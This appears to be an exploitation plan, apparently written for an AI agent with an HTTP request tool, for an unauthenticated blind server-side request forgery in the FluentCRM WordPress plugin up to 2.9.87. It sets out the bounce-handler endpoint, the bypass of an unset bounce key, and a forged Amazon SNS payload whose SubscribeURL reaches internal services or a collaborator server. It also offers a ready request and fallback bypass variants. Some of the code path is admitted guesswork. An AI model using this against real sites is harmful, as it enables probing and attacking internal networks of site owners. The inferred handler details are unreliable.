FluentCRM <= 2.9.87 - Unauthenticated Blind Server-Side Request Forgery via 'SubscribeURL' Parameter

Vulnerability Summary

The FluentCRM plugin (versions <= 2.9.87) is vulnerable to a Blind Server-Side Request Forgery (SSRF) via the Amazon SES (Simple Email Service) bounce handling logic. The vulnerability exists because the plugin fails to properly validate the SubscribeURL parameter in incoming Amazon SNS (Simple Notification Service) "SubscriptionConfirmation" requests.

Furthermore, the authentication mechanism intended to protect this endpoint relies on a key (_fc_bounce_key) that is not generated until an administrator visits the bounce settings page. In its default, unconfigured state, the key is absent/null, allowing unauthenticated attackers to bypass the check by providing an empty key or leveraging the default comparison.

Attack Vector Analysis

• Endpoint: /?fluentcrm=1&route=bounce_handler&type=ses (Standard FluentCRM webhook entry point).
• Method: POST
• Authentication: Unauthenticated (bypassable if _fc_bounce_key is unset).
• Vulnerable Parameter: SubscribeURL within a JSON-encoded POST body.
• Precondition: The site must be in its default state regarding SES bounce handling (the settings page at fluentcrm-admin#/settings/ses_settings must not have been visited).

Code Flow

The exact handler for SES is typically located in the SES-specific transport or bounce handler classes (e.g., FluentCrm\App\Services\Bounces\Handlers\AmazonSesHandler - inferred from common FluentCRM structure).

1. Entry Point: An unauthenticated request hits the index with fluentcrm=1.
2. Route Dispatch: The plugin identifies route=bounce_handler and type=ses.
3. Authentication Check: The handler retrieves the security key using fluentcrm_get_option('_fc_bounce_key').
   • Vulnerability: If the option does not exist, fluentcrm_get_option (found in app/Functions/helpers.php) returns the default '' (empty string).
   • If the request provides &key= or the code compares the missing key against a null input, the check passes.
4. Message Type Check: The code parses the JSON body and checks the Type field.
5. Vulnerable Sink: If Type is SubscriptionConfirmation, the code extracts the SubscribeURL.
6. SSRF Execution: The code calls wp_remote_get($subscribeUrl) or wp_safe_remote_get($subscribeUrl) to confirm the subscription. Because the logic assumes the request originated from a trusted Amazon SNS service, it fetches the URL without verifying if it points to an internal or restricted resource.

Nonce Acquisition Strategy

No WordPress Nonce is required.
This endpoint is designed to be hit by external webhooks (Amazon SES), which cannot provide WordPress nonces. The protection relies solely on the _fc_bounce_key parameter. As long as the site is in its default state, this check is bypassable without any prior authentication or nonce extraction.

Exploitation Strategy

The goal is to trigger an internal request from the WordPress server to an arbitrary location.

1. Identify the Endpoint

The target URL is: http://TARGET_SITE/?fluentcrm=1&route=bounce_handler&type=ses&key=

2. Prepare the Payload

The payload must mimic a standard Amazon SNS Subscription Confirmation message.

{
  "Type": "SubscriptionConfirmation",
  "MessageId": "165545c9-2a5c-472c-8df2-706520d1b62b",
  "Token": "2336412f37...",
  "TopicArn": "arn:aws:sns:us-west-2:123456789012:MyTopic",
  "Message": "You have chosen to subscribe to the topic...",
  "SubscribeURL": "http://INTERNAL_SERVICE_OR_INTERACTION_SERVER/ssrf_hit",
  "Timestamp": "2023-01-01T00:00:00.000Z",
  "SignatureVersion": "1",
  "Signature": "EXAMPLE...",
  "SigningCertURL": "EXAMPLE..."
}

3. Execute the Request

Using the http_request tool, send the POST request.

• URL: http://TARGET_SITE/?fluentcrm=1&route=bounce_handler&type=ses&key=
• Headers: Content-Type: text/plain (SNS often sends as text/plain even if JSON) or application/json.
• Body: The JSON payload above.

// Example tool usage
await http_request({
    url: "http://localhost:8080/?fluentcrm=1&route=bounce_handler&type=ses&key=",
    method: "POST",
    headers: {
        "Content-Type": "text/plain"
    },
    body: JSON.stringify({
        "Type": "SubscriptionConfirmation",
        "SubscribeURL": "http://YOUR_COLLABORATOR_SERVER/log"
    })
});

Test Data Setup

1. Plugin Installation: Install FluentCRM version 2.9.87.
2. Default State: Do NOT navigate to the SES settings or Bounce settings in the FluentCRM admin panel. This ensures _fc_bounce_key remains unset in the fc_meta table.
3. Target: Use an interaction server (like a RequestBin or a simple netcat listener on an accessible port) to capture the incoming SSRF request.

Expected Results

• Response: The server will likely return a 200 OK or a generic success message, as the confirmation process is handled in the background.
• SSRF Confirmation: The interaction server (e.g., YOUR_COLLABORATOR_SERVER) will receive an incoming GET request from the IP address of the WordPress server.
• Blindness: No data from the SubscribeURL will be returned in the HTTP response (Blind SSRF).

Verification Steps

1. Check Meta Table: Verify that the bounce key is indeed unset using WP-CLI.

   wp db query "SELECT * FROM wp_fc_meta WHERE key = '_fc_bounce_key';"
   

   (Expected: Empty result).
2. Logs: Check the access logs of the internal service or interaction server for the WordPress server's User-Agent (typically WordPress/X.X.X; http://TARGET_SITE).

Alternative Approaches

If the type=ses route requires a more valid-looking SNS payload, ensure all standard fields (MessageId, TopicArn, Token) are present in the JSON body, as some handlers validate the presence of these keys before processing the SubscribeURL.

If type=ses is protected, try type=sns or type=generic as FluentCRM may register multiple handlers for different providers with similar logic.

If the key parameter validation is strict even when null, try omitting the key parameter entirely or sending key[]=.